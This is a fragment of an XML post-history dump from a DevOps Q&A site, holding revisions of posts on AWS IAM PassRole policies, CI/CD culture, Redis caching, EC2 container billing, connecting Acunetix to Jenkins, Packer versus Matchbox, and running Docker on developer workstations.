page:&#xD;&#xA;&#xD;&#xA;&gt; Example 1&#xD;&#xA;&gt; &#xD;&#xA;&gt; Imagine that you want to grant a user the ability to pass any of an&#xD;&#xA;&gt; approved set of roles to the Amazon EC2 service upon launching an&#xD;&#xA;&gt; instance. You need three elements:&#xD;&#xA;&gt; &#xD;&#xA;&gt; - An IAM *permissions policy* attached to the role that determines what the role can do. Scope permissions to only the actions that the role&#xD;&#xA;&gt; needs to perform, and to only the resources that the role needs for&#xD;&#xA;&gt; those actions. You can use AWS managed or customer-created IAM&#xD;&#xA;&gt; permissions policy.&#xD;&#xA;&gt; &#xD;&#xA;&gt;         {&#xD;&#xA;&gt;             &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;&gt;             &quot;Statement&quot;: {&#xD;&#xA;&gt;                 &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;&gt;                 &quot;Action&quot;: [ &quot;A list of the permissions the role is allowed to use&quot; ],&#xD;&#xA;&gt;                 &quot;Resource&quot;: [ &quot;A list of the resources the role is allowed to access&quot; ]&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         } &#xD;&#xA;&gt; &#xD;&#xA;&gt; - A *trust policy* for the role that allows the service to assume the role. For example, you could attach the following trust policy to the&#xD;&#xA;&gt; role with the `UpdateAssumeRolePolicy` action. This trust policy allows&#xD;&#xA;&gt; Amazon EC2 to use the role and the permissions attached to the role.&#xD;&#xA;&gt; &#xD;&#xA;&gt;         {&#xD;&#xA;&gt;             &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;&gt;             &quot;Statement&quot;: {&#xD;&#xA;&gt;                 &quot;Sid&quot;: &quot;TrustPolicyStatementThatAllowsEC2ServiceToAssumeTheAttachedRole&quot;,&#xD;&#xA;&gt;                 &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;&gt;                 &quot;Principal&quot;: { &quot;Service&quot;: &quot;ec2.amazonaws.com&quot; },&#xD;&#xA;&gt;                &quot;Action&quot;: &quot;sts:AssumeRole&quot;&#xD;&#xA;&gt;             }&#xD;&#xA;&gt;         }       &#xD;&#xA;&gt; &#xD;&#xA;&gt; - An IAM *permissions policy* attached to the IAM user that allows the user to pass only those policies that are approved. `iam:PassRole`&#xD;&#xA;&gt; usually is accompanied by `iam:GetRole` so that the user can get the&#xD;&#xA;&gt; details of the role to be passed. In this example, the user can pass&#xD;&#xA;&gt; only roles that exist in the specified account with names that begin&#xD;&#xA;&gt; with `EC2-roles-for-XYZ-`:&#xD;&#xA;&gt; &#xD;&#xA;&gt;         {&#xD;&#xA;&gt;             &quot;Version&quot;: &quot;2012-10-17&quot;,&#xD;&#xA;&gt;             &quot;Statement&quot;: [{&#xD;&#xA;&gt;                 &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;&gt;                 &quot;Action&quot;: [&#xD;&#xA;&gt;                     &quot;iam:GetRole&quot;,&#xD;&#xA;&gt;                     &quot;iam:PassRole&quot;&#xD;&#xA;&gt;                 ],&#xD;&#xA;&gt;                 &quot;Resource&quot;: &quot;arn:aws:iam::&lt;account-id&gt;:role/EC2-roles-for-XYZ-*&quot;&#xD;&#xA;&gt;             }]&#xD;&#xA;&gt;         }&#xD;&#xA;&gt; &#xD;&#xA;&gt; Now the user can start an Amazon EC2 instance with an assigned role.&#xD;&#xA;&gt; Applications running on the instance can access temporary credentials&#xD;&#xA;&gt; for the role through the instance profile metadata. The permission&#xD;&#xA;&gt; policies attached to the role determine what the instance can do.&#xD;&#xA;&#xD;&#xA;The procedure(s) to attach a policy to a user/role (inlining it might work as well) are described in [Attaching and Detaching IAM Policies][2]:&#xD;&#xA;&#xD;&#xA;&gt; **To attach a managed policy (console)**&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. Sign in to the AWS Management Console and open the IAM console at [https://console.aws.amazon.com/iam/][3].&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2. In the navigation pane, choose **Policies**.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3. In the list of policies, select the check box next to the name of the policy to attach. You can use the **Filter** menu and the search&#xD;&#xA;&gt; box to filter the list of policies.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 4. Choose **Policy actions**, and then choose **Attach**.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 5. Select one or more identities to attach the policy to. You can use the **Filter** menu and the search box to filter the list of principal&#xD;&#xA;&gt; entities. After selecting the identities, choose **Attach policy**.&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **To embed an inline policy for a user or role (console)**&#xD;&#xA;&gt; &#xD;&#xA;&gt; 1. Sign in to the AWS Management Console and open the IAM console at [https://console.aws.amazon.com/iam/][3].&#xD;&#xA;&gt; &#xD;&#xA;&gt; 2. In the navigation pane, choose **Users** or **Roles**.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 3. In the list, choose the name of the user or role to embed a policy in.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 4. Choose the **Permissions** tab.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 5. Scroll to the bottom of the page and choose **Add inline policy**.&#xD;&#xA;&gt; &#xD;&#xA;&gt;     **Note**&#xD;&#xA;&gt; &#xD;&#xA;&gt;     You cannot embed an inline policy in a [service-linked role][4] in IAM. Because the linked service defines whether you can modify the&#xD;&#xA;&gt; permissions of the role, you might be able to add additional policies&#xD;&#xA;&gt; from the service console, API, or AWS CLI. To view the service-linked&#xD;&#xA;&gt; role documentation for a service, see [AWS Services That Work with&#xD;&#xA;&gt; IAM][5] and choose **Yes** in the **Service-Linked Role** column for&#xD;&#xA;&gt; your service.&#xD;&#xA;&gt; &#xD;&#xA;&gt; 6. Choose from the following methods to view the steps required to create your policy:&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - [Import an Existing Managed Policy][6] – You can import a managed policy within your account and then edit the policy to customize it to&#xD;&#xA;&gt; your specific requirements. A managed policy can be an AWS managed&#xD;&#xA;&gt; policy or a customer managed policy that you created previously.&#xD;&#xA;&gt; &#xD;&#xA;&gt;  - [Create a Policy with the Visual Editor][7] – You can construct a new policy from scratch in the visual editor. If you use the visual&#xD;&#xA;&gt; editor, you do not have to understand JSON syntax.&#xD;&#xA;&gt; &#xD;&#xA;&gt; - [Create a Policy on the JSON Tab][8] – In the JSON tab, you can use **JSON** syntax to create a policy. You can type a new JSON policy document or paste an [example policy][9].&#xD;&#xA;&gt; &#xD;&#xA;&gt; 7. After you create an inline policy, it is automatically embedded in your user or role.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html&#xD;&#xA;  [2]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_manage-attach-detach.html&#xD;&#xA;  [3]: https://console.aws.amazon.com/iam/&#xD;&#xA;  [4]: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#iam-term-service-linked-role&#xD;&#xA;  [5]: https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_aws-services-that-work-with-iam.html&#xD;&#xA;  [6]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html#access_policies_create-copy&#xD;&#xA;  [7]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html#access_policies_create-visual-editor&#xD;&#xA;  [8]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_create.html#access_policies_create-json-editor&#xD;&#xA;  [9]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_examples.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9770" PostHistoryTypeId="2" PostId="3110" RevisionGUID="b5fdc26f-57b7-4262-8780-51ce51bd27f9" CreationDate="2018-01-18T06:31:36.433" UserId="6110" Text="As a _DevOps_ Engineer coming from an Operations background, you will have moved from building and deploying servers and software _manually_ to **scripting** the installation of software onto your servers with the likes of BASH, PowerShell, Python etc. After a while, you would realise how cool scripting is and start to explore more sophisticated ways to **automate deployment**. &#xD;&#xA;&#xD;&#xA;Eventually, you would have settled on a _Chef, Puppet, Ansible_ or other **configuration management** tool to help manage the state of your fleet of systems. As your skills with the automation of application deployment and system management matured, along with your tools, you have more recently moved into the realm of '**Infrastructure as Code**' and use it to not only automate the deployment of software but the infrastructure and environments required to drive the software during the business's shift to the Cloud.&#xD;&#xA;&#xD;&#xA;Now you are cooking with gas. Over time you have been introduced to the benefits of using developer centric tooling such as **source control** to manage the modules, recipes and templates that make up your arsenal of deployment and management tools.&#xD;&#xA;&#xD;&#xA;When you shifted into the _DevOps_ team you were exposed to the software development life cycle and the concept of **continuous integration**. Boy those developers were releasing changes quickly and to keep up you found yourself working more closely with the devs! You experienced the urgency placed on the development team to change things ALL-THE-TIME which grates against the old operational paradigm of &quot;_if it ain't broke, don't fix it_&quot;. No more bragging about system uptime anymore, you are into _disposable_ infrastructure.&#xD;&#xA;&#xD;&#xA;You noticed that the move to _DevOps_ was more than working with the _devs_, or using _new tools_ and _techniques_, but there was a distinct **cultural** shift in the team, one that permeated through the organisation at large. You were working as a close-knit team with _sharded responsibilities_, _shared tooling_ and _shared goals_. &#xD;&#xA;&#xD;&#xA;You took your skills in automated deployment and massaged them into the &quot;**CICD**&quot; pipeline being orchestrated by a &quot;**continuous integration server**&quot; like _Jenkins_, _Bamboo_ or _Code Pipeline_. Now, when the developers push new code, your scripts, tools and templates stand up new environments on demand, trigger testing frameworks to do their thing and tear down the pre-production environments after the green lights are lit on the release, adhering to the ideas of &quot;**continuous delivery**&quot;.&#xD;&#xA;&#xD;&#xA;As the new code snakes its way through the CICD stages, you, the developers and the business gain confidence that the update will not break when released to production. There is some way to go before the team gets to &quot;**continuous deployment**&quot;, you still need to settle on the finer points of automating the **blue/green** deployment capability, and the decision is mostly a business one. For the time being you are content that the number of calls at 3am have subsided and the sev-1's and sev-2's dwindle.&#xD;&#xA;&#xD;&#xA;Even if you do get a sev-1, you are not pulling all-nighters any longer with the managers breathing down your back - you can easily release the previous version through the CICD pipeline and get the system online again in short order. The business has noticed that the **stability** of the IT systems has improved despite the _velocity of changes_.&#xD;&#xA;&#xD;&#xA;You marvel at the way you manage the resources needed to drive the software in your business, especially when you think back to how it used to be and amount of blood you left behind on rails in the datacenter..." ContentLicense="CC BY-SA 3.0" />
  <row Id="9771" PostHistoryTypeId="5" PostId="3110" RevisionGUID="564ae80a-588e-4ab8-8fb3-d583e9d4d231" CreationDate="2018-01-18T09:07:44.380" UserId="13" Comment="Small typo fixed" Text="As a _DevOps_ Engineer coming from an Operations background, you will have moved from building and deploying servers and software _manually_ to **scripting** the installation of software onto your servers with the likes of BASH, PowerShell, Python etc. After a while, you would realise how cool scripting is and start to explore more sophisticated ways to **automate deployment**. &#xD;&#xA;&#xD;&#xA;Eventually, you would have settled on a _Chef, Puppet, Ansible_ or other **configuration management** tool to help manage the state of your fleet of systems. As your skills with the automation of application deployment and system management matured, along with your tools, you have more recently moved into the realm of '**Infrastructure as Code**' and use it to not only automate the deployment of software but the infrastructure and environments required to drive the software during the business's shift to the Cloud.&#xD;&#xA;&#xD;&#xA;Now you are cooking with gas. Over time you have been introduced to the benefits of using developer centric tooling such as **source control** to manage the modules, recipes and templates that make up your arsenal of deployment and management tools.&#xD;&#xA;&#xD;&#xA;When you shifted into the _DevOps_ team you were exposed to the software development life cycle and the concept of **continuous integration**. Boy those developers were releasing changes quickly and to keep up you found yourself working more closely with the devs! You experienced the urgency placed on the development team to change things ALL-THE-TIME which grates against the old operational paradigm of &quot;_if it ain't broke, don't fix it_&quot;. No more bragging about system uptime anymore, you are into _disposable_ infrastructure.&#xD;&#xA;&#xD;&#xA;You noticed that the move to _DevOps_ was more than working with the _devs_, or using _new tools_ and _techniques_, but there was a distinct **cultural** shift in the team, one that permeated through the organisation at large. You were working as a close-knit team with _shared responsibilities_, _shared tooling_ and _shared goals_. &#xD;&#xA;&#xD;&#xA;You took your skills in automated deployment and massaged them into the &quot;**CICD**&quot; pipeline being orchestrated by a &quot;**continuous integration server**&quot; like _Jenkins_, _Bamboo_ or _Code Pipeline_. Now, when the developers push new code, your scripts, tools and templates stand up new environments on demand, trigger testing frameworks to do their thing and tear down the pre-production environments after the green lights are lit on the release, adhering to the ideas of &quot;**continuous delivery**&quot;.&#xD;&#xA;&#xD;&#xA;As the new code snakes its way through the CICD stages, you, the developers and the business gain confidence that the update will not break when released to production. There is some way to go before the team gets to &quot;**continuous deployment**&quot;, you still need to settle on the finer points of automating the **blue/green** deployment capability, and the decision is mostly a business one. For the time being you are content that the number of calls at 3am have subsided and the sev-1's and sev-2's dwindle.&#xD;&#xA;&#xD;&#xA;Even if you do get a sev-1, you are not pulling all-nighters any longer with the managers breathing down your back - you can easily release the previous version through the CICD pipeline and get the system online again in short order. The business has noticed that the **stability** of the IT systems has improved despite the _velocity of changes_.&#xD;&#xA;&#xD;&#xA;You marvel at the way you manage the resources needed to drive the software in your business, especially when you think back to how it used to be and amount of blood you left behind on rails in the datacenter..." ContentLicense="CC BY-SA 3.0" />
  <row Id="9772" PostHistoryTypeId="5" PostId="3010" RevisionGUID="c1ef5073-eda5-4eb4-a805-7f757c40e51d" CreationDate="2018-01-18T10:25:47.417" UserId="3015" Comment="Fix grammar." Text="We had the similar requirement as there needs to be a set of data cached in a server for serving the application (fast processing) and also by end of the day, we would need to sync the data from the cache server to the origin server.&#xD;&#xA;&#xD;&#xA;In the longer run, I would suggest to go for Redis as you can have Redis as an intermediate database (caching) and it will help you in scaling.&#xD;&#xA;&#xD;&#xA;You can write scripts to run at an interval or at specific time of the day so that you can pull/push the data from the origin server (external application).&#xD;&#xA;&#xD;&#xA;Your requirement wouldn't require Elastic Search at any point of time as it will help you in speeding up search results based on caching, it is just a search engine." ContentLicense="CC BY-SA 3.0" />
  <row Id="9773" PostHistoryTypeId="24" PostId="3010" RevisionGUID="c1ef5073-eda5-4eb4-a805-7f757c40e51d" CreationDate="2018-01-18T10:25:47.417" Comment="Proposed by 3015 approved by 40 edit id of 582" ContentLicense="CC BY-SA 3.0" />
  <row Id="9774" PostHistoryTypeId="2" PostId="3111" RevisionGUID="162cd019-dcbf-45bb-8809-d2eb36c4ffd1" CreationDate="2018-01-18T10:57:14.067" UserId="465" Text="I've been evaluating [Netflix Ice][1] - as a billing tool - but it appears to only work at the Machine instance level - not at the container level. &#xD;&#xA;&#xD;&#xA;I'm looking for a tool to help generate billing reports for using docker containers across a cluster of docker servers on EC2. (Non [ECS][1])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My question is: **How to track (non ECS) container costs on EC2?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ecs/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9775" PostHistoryTypeId="1" PostId="3111" RevisionGUID="162cd019-dcbf-45bb-8809-d2eb36c4ffd1" CreationDate="2018-01-18T10:57:14.067" UserId="465" Text="How to track (non ECS) container costs on EC2?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9776" PostHistoryTypeId="3" PostId="3111" RevisionGUID="162cd019-dcbf-45bb-8809-d2eb36c4ffd1" CreationDate="2018-01-18T10:57:14.067" UserId="465" Text="&lt;amazon-ec2&gt;&lt;billing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9778" PostHistoryTypeId="2" PostId="3112" RevisionGUID="83b7fab0-78e6-4ccc-9c4d-91cbd3ef7092" CreationDate="2018-01-18T11:50:29.603" UserId="6141" Text="We are looking forward to set up some server to distribute application patches, updates, and upgrades. Our applications would be checking for their updates by querying this server. Presently, developers here are considering Chocolatey, and just rejected Squirrel for windows due to its narrow scope.&#xD;&#xA;&#xD;&#xA;How is this being done in the world generally with best practices?&#xD;&#xA;&#xD;&#xA;Would really appreciate any guide/help...&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 3.0" />
  <row Id="9779" PostHistoryTypeId="1" PostId="3112" RevisionGUID="83b7fab0-78e6-4ccc-9c4d-91cbd3ef7092" CreationDate="2018-01-18T11:50:29.603" UserId="6141" Text="Which server to set up for distribution of windows based application updates, patches and upgrades?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9780" PostHistoryTypeId="3" PostId="3112" RevisionGUID="83b7fab0-78e6-4ccc-9c4d-91cbd3ef7092" CreationDate="2018-01-18T11:50:29.603" UserId="6141" Text="&lt;installation&gt;&lt;upgrade&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9781" PostHistoryTypeId="2" PostId="3113" RevisionGUID="e340810f-4af9-46a6-bd9a-948c455cf3db" CreationDate="2018-01-18T13:52:29.707" UserId="6" Text="Since you are not asking about ECS containers, this means that you must have a bunch of EC2 servers that you manage in some way (ECS/Kubernetes/Nomad/etc...). These servers are most probably included in an Auto Scaling Group.&#xD;&#xA;&#xD;&#xA;Once you run containers on these servers, AWS does not charge you for the container. AWS only charges you per second of EC2 instance time while the instance was in a `running` mode.&#xD;&#xA;&#xD;&#xA;So in fact you could say that containers are &quot;free&quot;, you don't pay for containers, you pay for the infrastructure underneath (EC2 servers).&#xD;&#xA;&#xD;&#xA;Netflix ICE is a great tool to track EC2 instance costs, as well as the AWS Billing dashboard." ContentLicense="CC BY-SA 3.0" />
  <row Id="9783" PostHistoryTypeId="5" PostId="3112" RevisionGUID="146c5610-71fb-4ec2-b69f-61e67bd9c2c5" CreationDate="2018-01-18T15:48:35.513" UserId="210" Comment="deleted 55 characters in body" Text="We are looking forward to set up some server to distribute application patches, updates, and upgrades. Our applications would be checking for their updates by querying this server. Presently, developers here are considering Chocolatey, and just rejected Squirrel for windows due to its narrow scope.&#xD;&#xA;&#xD;&#xA;How is this being done in the world generally with best practices?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9785" PostHistoryTypeId="2" PostId="3114" RevisionGUID="4dddeffb-d222-474a-a96a-52732ba0e3cb" CreationDate="2018-01-18T16:42:43.380" UserId="6143" Text="The first of all, thank you for reading my question, I really appreciate it! I am trying to integrate jenkins and acunetix, but it seems to be near impossible...My situation is as follows:&#xD;&#xA; &#xD;&#xA;There are two machines, a debian 9 machine [DEB] and a win10 machine [WIN]. In [WIN] I installed Acunetix v11 and jenkins in [DEB], and I configured acunetix to be accessible from outside (following this tutorial: https://www.acunetix.com/blog/docs/use-acunetix-host-localhost/). After that, I followed another tutorial (https://www.acunetix.com/blog/docs/install-acunetix-root-certificate-another-computer/) to connect jenkins with acunetix. I managed to access to acunetix webpage from [DEB] via web (Not issues in network or configuration in that sense). &#xD;&#xA; &#xD;&#xA;However, I could not connect with acunteix from jenkins despite the fact I followed every single step explained in acunetix web page. I got this error: &quot;Please add the Acunetix scanner certificate to Java CA store&quot; when I tested the connection from jenkins (obviously, acunetix plugin is installed in jenkins). I checked that the certificate obtained from acunetix installation (in [WIN]) &quot;ca.cer&quot; was correctly added in the keystore of [DEB]. Then, I made a custom keystore to be used by jenkins (as it is explained in this other tutorial: https://support.cloudbees.com/hc/en-us/articles/203821254-How-to-install-a-new-SSL-certificate-) and I got the same result...At that time, I thought that maybe something was wrong in [DEB], so I used another windows 10 machine [WIN2] to repeat the process...and I got the same result... The acunetix certificate was also included in the OS apart from java keystore in all cases.&#xD;&#xA; &#xD;&#xA;My company contacted Acunetix support about this issue but no solution has been provided so far... Currently, we don't what to do right now... Have you dealt with this? Have you found a solution? &#xD;&#xA; &#xD;&#xA;Thank you in advance, mates!&#xD;&#xA; &#xD;&#xA;See you!&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9786" PostHistoryTypeId="1" PostId="3114" RevisionGUID="4dddeffb-d222-474a-a96a-52732ba0e3cb" CreationDate="2018-01-18T16:42:43.380" UserId="6143" Text="Issue integrating acunetix with jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="9787" PostHistoryTypeId="3" PostId="3114" RevisionGUID="4dddeffb-d222-474a-a96a-52732ba0e3cb" CreationDate="2018-01-18T16:42:43.380" UserId="6143" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;security&gt;&lt;integration&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9788" PostHistoryTypeId="5" PostId="3114" RevisionGUID="3e3d4b17-da53-4c55-8b33-b1c17d9e6d82" CreationDate="2018-01-18T16:49:06.310" UserId="707" Comment="added 35 characters in body" Text="The first of all, thank you for reading my question, I really appreciate it! I am trying to integrate jenkins and acunetix (a vulnerability scanner software), but it seems to be near impossible...My situation is as follows:&#xD;&#xA; &#xD;&#xA;There are two machines, a debian 9 machine [DEB] and a win10 machine [WIN]. In [WIN] I installed Acunetix v11 and jenkins in [DEB], and I configured acunetix to be accessible from outside (following this tutorial: https://www.acunetix.com/blog/docs/use-acunetix-host-localhost/). After that, I followed another tutorial (https://www.acunetix.com/blog/docs/install-acunetix-root-certificate-another-computer/) to connect jenkins with acunetix. I managed to access to acunetix webpage from [DEB] via web (Not issues in network or configuration in that sense). &#xD;&#xA; &#xD;&#xA;However, I could not connect with acunteix from jenkins despite the fact I followed every single step explained in acunetix web page. I got this error: &quot;Please add the Acunetix scanner certificate to Java CA store&quot; when I tested the connection from jenkins (obviously, acunetix plugin is installed in jenkins). I checked that the certificate obtained from acunetix installation (in [WIN]) &quot;ca.cer&quot; was correctly added in the keystore of [DEB]. Then, I made a custom keystore to be used by jenkins (as it is explained in this other tutorial: https://support.cloudbees.com/hc/en-us/articles/203821254-How-to-install-a-new-SSL-certificate-) and I got the same result...At that time, I thought that maybe something was wrong in [DEB], so I used another windows 10 machine [WIN2] to repeat the process...and I got the same result... The acunetix certificate was also included in the OS apart from java keystore in all cases.&#xD;&#xA; &#xD;&#xA;My company contacted Acunetix support about this issue but no solution has been provided so far... Currently, we don't what to do right now... Have you dealt with this? Have you found a solution? &#xD;&#xA; &#xD;&#xA;Thank you in advance, mates!&#xD;&#xA; &#xD;&#xA;See you!&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9789" PostHistoryTypeId="2" PostId="3115" RevisionGUID="6069f375-ea08-4037-bd89-e7c65a3f97a0" CreationDate="2018-01-18T17:32:32.357" UserId="5868" Text="Visiting https://youjenkinsdomain/safeRestart will set it in the mode when it waits for jobs to stop and then restarts." ContentLicense="CC BY-SA 3.0" />
  <row Id="9794" PostHistoryTypeId="50" PostId="1832" RevisionGUID="55131f8d-d22b-4604-b3cd-8b8fae9aacb5" CreationDate="2018-01-18T21:57:38.130" UserId="-1" />
  <row Id="9795" PostHistoryTypeId="2" PostId="3117" RevisionGUID="8edfdffc-f40f-41f7-a90c-abbc7867f022" CreationDate="2018-01-18T22:21:50.207" UserId="6153" Text="I have this setup to standup a baremetal machine&#xD;&#xA;&#xD;&#xA;    Terraform-&gt; Matchbox&#xD;&#xA;             \-&gt; Chef-&gt; Docker&#xD;&#xA;&#xD;&#xA;My colleague has a setup to standup VMs in AWS&#xD;&#xA;&#xD;&#xA;    Terraform-&gt; Packer-&gt; Chef-&gt; Docker&#xD;&#xA;&#xD;&#xA;Is Packer to AWS as Matchbox is to Baremetal, in terms of image provisioning?  I know there not 1:1 in features since packer can provision chef and stuff (it seems, and so can terraform) but for the general purpose of standing up a machine can this be considered.&#xD;&#xA;&#xD;&#xA;If not what is the difference between the two.  I am having trouble understanding exactly what packer is for (compared to matchbox), if it doesn't fit that relation.&#xD;&#xA;&#xD;&#xA;thanks. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9796" PostHistoryTypeId="1" PostId="3117" RevisionGUID="8edfdffc-f40f-41f7-a90c-abbc7867f022" CreationDate="2018-01-18T22:21:50.207" UserId="6153" Text="difference between packer and matchbox" ContentLicense="CC BY-SA 3.0" />
  <row Id="9797" PostHistoryTypeId="3" PostId="3117" RevisionGUID="8edfdffc-f40f-41f7-a90c-abbc7867f022" CreationDate="2018-01-18T22:21:50.207" UserId="6153" Text="&lt;amazon-web-services&gt;&lt;chef&gt;&lt;terraform&gt;&lt;packer&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9798" PostHistoryTypeId="2" PostId="3118" RevisionGUID="9e879b6b-9779-4622-b8a9-8a4d2e2e0a4b" CreationDate="2018-01-18T23:58:50.943" UserId="72" Text="I recently had an interesting discussion with a colleague.  We have different perspectives on what is required to develop Docker containers.  I won't say who believes what, to keep from prejudicing the responses.  Here are two competing assertions:&#xD;&#xA;&#xD;&#xA;**Assertion 1**:  &#xD;&#xA;It is *not* necessary to install Docker on development workstations.  Container build is a CI task that can be performed by a CI tool, then containers can be troubleshot/debugged in a DEV environent.&#xD;&#xA;&#xD;&#xA;**Assertion 2**  &#xD;&#xA;It is *critical* for developers to run Docker locally so they can smoke test and execute containerized processes *before* they are committed to SCM or CI.  Containerization is a core developer skill, which is specialized by development platform.  &#xD;&#xA;&#xD;&#xA;**Is it critical, nice-to-have, or not necessary for Docker to be installed on developer workstations where containerized workloads are developed?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="9799" PostHistoryTypeId="1" PostId="3118" RevisionGUID="9e879b6b-9779-4622-b8a9-8a4d2e2e0a4b" CreationDate="2018-01-18T23:58:50.943" UserId="72" Text="Docker on Development Workstations" ContentLicense="CC BY-SA 3.0" />
  <row Id="9800" PostHistoryTypeId="3" PostId="3118" RevisionGUID="9e879b6b-9779-4622-b8a9-8a4d2e2e0a4b" CreationDate="2018-01-18T23:58:50.943" UserId="72" Text="&lt;docker&gt;&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9801" PostHistoryTypeId="5" PostId="3117" RevisionGUID="1bd2076f-b6cb-4209-a80e-4ab422de6c4b" CreationDate="2018-01-19T01:33:17.327" UserId="47" Comment="added reference link" Text="I have this setup to standup a baremetal machine&#xD;&#xA;&#xD;&#xA;    Terraform-&gt; Matchbox&#xD;&#xA;             \-&gt; Chef-&gt; Docker&#xD;&#xA;&#xD;&#xA;My colleague has a setup to standup VMs in AWS&#xD;&#xA;&#xD;&#xA;    Terraform-&gt; Packer-&gt; Chef-&gt; Docker&#xD;&#xA;&#xD;&#xA;Is Packer to AWS as [Matchbox][1] is to Baremetal, in terms of image provisioning?  I know there not 1:1 in features since packer can provision chef and stuff (it seems, and so can terraform) but for the general purpose of standing up a machine can this be considered.&#xD;&#xA;&#xD;&#xA;If not what is the difference between the two.  I am having trouble understanding exactly what packer is for (compared to matchbox), if it doesn't fit that relation.&#xD;&#xA;&#xD;&#xA;thanks. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://coreos.com/matchbox/docs/latest/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9802" PostHistoryTypeId="2" PostId="3119" RevisionGUID="cd87a632-d384-4b25-a538-d4b0de5e437a" CreationDate="2018-01-19T03:47:55.207" UserId="47" Text="IMHO it is at least a nice-to-have if not critical. But if critical it's not for the reason stated in assertion #2.&#xD;&#xA;&#xD;&#xA;The ability to exactly replicate the containerized build from the CI can be critical to reproduce and debug some issues found in the CI verifications, then develop and test fixes for them. &#xD;&#xA;&#xD;&#xA;Such ability can also be useful to *optionally* run parts of or the entire CI verification prior to committing the code for potentially high-risk changes.&#xD;&#xA;&#xD;&#xA;And, in general, docker on the dev workstations can contribute overall to reducing the differences between the development and QA/staging/production environments.&#xD;&#xA;&#xD;&#xA;But running CI-class verifications prior to commit can also be done on shared resources or on resources temporarily borrowed from the CI system, not necessarily on the developer's workstation, which in some cases can even be prohibitive - some CI builds can require much more resources than those available on the typical developer workstations.&#xD;&#xA;&#xD;&#xA;But when having such ability it can be very tempting to actually *require* developers to perform such verifications in an attempt to completely eliminate regressions in the real CI executions, which is, I believe, implied in assertion #2. But that would IMHO be sub-optimal - such verifications are still done in isolation and thus cannot completely eliminate CI failures (see https://devops.stackexchange.com/questions/398/how-can-successfully-pre-verified-changes-cause-regressions-which-should-have-be), while being expensive and chewing developer time for stuff that can be entirely automated.&#xD;&#xA;&#xD;&#xA;If eliminating regressions in the real CI executions is desired then the precommit verifications have to be coordinated, ideally centralized, automated and immediately followed by automated commits." ContentLicense="CC BY-SA 3.0" />
  <row Id="9803" PostHistoryTypeId="2" PostId="3120" RevisionGUID="1dd3fb4b-5db4-4afb-8acc-2e4df640ad56" CreationDate="2018-01-19T09:02:18.530" UserId="13" Text="Assertion 1:&#xD;&#xA;&#xD;&#xA;- Pro: The build environment is guaranteed to be what's expected&#xD;&#xA;- Cons: It slow down validation of patches.&#xD;&#xA;&#xD;&#xA;Assertion 2:&#xD;&#xA;Exactly the opposites pro and cons.&#xD;&#xA;&#xD;&#xA;I'd advocate for developers to let developers have docker on their system to iterate quickly on fixes or advancement and keeping regression and integration tests in the CI pipeline. That's not required, every dev should be able to choose if they just code and never run anything locally or if they want to run whole test suite on their workstation.&#xD;&#xA;&#xD;&#xA;So both assertions are valid, I see no valid reasons to enforce one or the other" ContentLicense="CC BY-SA 3.0" />
